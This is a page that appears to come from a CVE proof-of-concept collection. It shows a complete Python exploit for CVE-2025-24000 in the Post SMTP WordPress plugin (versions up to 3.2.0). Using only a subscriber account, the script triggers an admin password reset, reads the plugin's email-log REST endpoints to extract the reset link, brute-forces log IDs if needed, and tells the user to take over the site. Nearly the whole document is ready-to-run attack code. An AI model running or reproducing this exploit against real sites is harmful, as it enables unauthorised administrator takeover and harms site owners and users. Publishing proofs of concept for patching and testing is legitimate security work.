5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_cve_2025_24000.py PY
#!/usr/bin/env python3
# CVE-2025-24000 - Post SMTP <= 3.2.0 Privilege Escalation
# Subscriber -> Admin via email log access

import requests
import argparse
import re
import sys
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()


def banner():
    print("""
   (                        )    )     )  (  (            )     )     )     )     )
   )\   (   (   (        ( /( ( /(  ( /(  )\))(        ( /(  ( /(  ( /(  ( /(  ( /(
 (((_)  )\  )\  )\  ___  )(_)))\()) )(_))((_)()\  ___  )(_)) )\()) )\()) )\()) )\())
 )\___ ((_)((_)((_)|___|((_) ((_)\ ((_)   (()((_)|___|((_)  ((_)\ ((_)\ ((_)\ ((_)\
((/ __|\ \ / / | __|    |_  )/  (_)|_  )   | __|      |_  )| | (_)/  (_)/  (_)/  (_)
 | (__  \ V /  | _|      / /| () |  / /    |__ \       / / |_  _|| () || () || () |
  \___|  \_/   |___|    /___|\__/  /___|   |___/      /___|  |_|  \__/  \__/  \__/
  Post SMTP <= 3.2.0 | Subscriber -> Admin | CVE-2025-24000
""")


def login(session, base_url, username, password):
    print(f"[*] Logging in as {username}...")
    login_url = urljoin(base_url, "wp-login.php")
    session.get(login_url)  # get initial cookies
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": urljoin(base_url, "wp-admin/"),
        "testcookie": "1"
    }
    headers = {"Cookie": "wordpress_test_cookie=WP+Cookie+check"}
    resp = session.post(login_url, data=data, headers=headers, allow_redirects=True)
    
    logged_in = any("wordpress_logged_in" in c.name for c in session.cookies)
    if not logged_in:
        print("[-] Login failed. Check credentials.")
        sys.exit(1)
    print(f"[+] Logged in successfully as {username}")
    return session


def get_nonce(session, base_url):
    print("[*] Fetching WP REST nonce from wp-admin...")
    resp = session.get(urljoin(base_url, "wp-admin/"))
    matches = re.findall(r'"nonce":"([a-f0-9]+)"', resp.text)
    if not matches:
        print("[-] Could not find nonce in wp-admin page.")
        sys.exit(1)
    nonce = matches[0]
    print(f"[+] Got nonce: {nonce}")
    return nonce


def trigger_password_reset(session, base_url, admin_email):
    print(f"[*] Triggering password reset for: {admin_email}")
    reset_url = urljoin(base_url, "wp-login.php?action=lostpassword")
    data = {
        "user_login": admin_email,
        "redirect_to": "",
        "wp-submit": "Get New Password"
    }
    resp = session.post(reset_url, data=data)
    if "check your email" in resp.text.lower() or resp.status_code == 200:
        print("[+] Password reset triggered.")
    else:
        print("[!] Reset may have failed, continuing anyway...")


def get_logs(session, base_url, nonce):
    print("[*] Fetching email logs...")
    logs_url = urljoin(base_url, "wp-json/psd/v1/get-logs")
    headers = {"X-WP-Nonce": nonce}
    resp = session.get(logs_url, headers=headers)
    
    if resp.status_code == 403 or "Auth token missing" in resp.text:
        print("[-] Access denied to logs endpoint.")
        sys.exit(1)
    
    try:
        data = resp.json()
        print(f"[+] Got logs response.")
        return data
    except Exception:
        print(f"[-] Failed to parse logs response: {resp.text[:200]}")
        sys.exit(1)


def get_email_ids(logs_data):
    ids = []
    # Handle various response structures
    if isinstance(logs_data, list):
        for entry in logs_data:
            if isinstance(entry, dict) and "id" in entry:
                ids.append(entry["id"])
    elif isinstance(logs_data, dict):
        entries = logs_data.get("data", logs_data.get("logs", logs_data.get("emails", [])))
        if isinstance(entries, list):
            for entry in entries:
                if isinstance(entry, dict) and "id" in entry:
                    ids.append(entry["id"])
    return ids


def get_email_detail(session, base_url, nonce, email_id):
    detail_url = urljoin(base_url, f"wp-json/psd/v1/get-details?id={email_id}&type=show_view")
    headers = {"X-WP-Nonce": nonce}
    resp = session.get(detail_url, headers=headers)
    try:
        return resp.json()
    except Exception:
        return {"raw": resp.text}


def extract_reset_link(text):
    pattern = r'https?://[^\s\'"<>]+action=rp[^\s\'"<>]+'
    matches = re.findall(pattern, str(text))
    return matches[0] if matches else None


def main():
    banner()
    parser = argparse.ArgumentParser(description="CVE-2025-24000 Post SMTP exploit")
    parser.add_argument("--url", required=True, help="Base WordPress URL (e.g. http://samurai.local/samurai/)")
    parser.add_argument("--username", required=True, help="Subscriber username")
    parser.add_argument("--password", required=True, help="Subscriber password")
    parser.add_argument("--email", required=True, help="Admin email or username to reset")
    args = parser.parse_args()

    base_url = args.url.rstrip("/") + "/"

    session = requests.Session()
    session.verify = False

    # Step 1: Login as subscriber
    login(session, base_url, args.username, args.password)

    # Step 2: Get nonce
    nonce = get_nonce(session, base_url)

    # Step 3: Trigger admin password reset
    trigger_password_reset(session, base_url, args.email)

    # Step 4: Dump logs
    logs = get_logs(session, base_url, nonce)

    # Step 5: Try to find reset link in logs directly
    reset_link = extract_reset_link(logs)
    
    if not reset_link:
        # Step 6: Get individual email details
        ids = get_email_ids(logs)
        if not ids:
            # Fallback: try IDs 1-20
            print("[*] No IDs found in logs, brute-forcing IDs 1-20...")
            ids = list(range(1, 21))
        
        print(f"[*] Checking {len(ids)} email(s) for reset link...")
        for eid in ids:
            detail = get_email_detail(session, base_url, nonce, eid)
            reset_link = extract_reset_link(detail)
            if reset_link:
                break

    if reset_link:
        print(f"\n[+] RESET LINK FOUND:\n    {reset_link}")
        print(f"\n[*] Visit the link above to set a new admin password and take over the site.")
    else:
        print("[-] Could not find reset link. Try increasing the ID range or check the logs manually.")
        print(f"[*] Raw logs: {str(logs)[:500]}")


if __name__ == "__main__":
    main()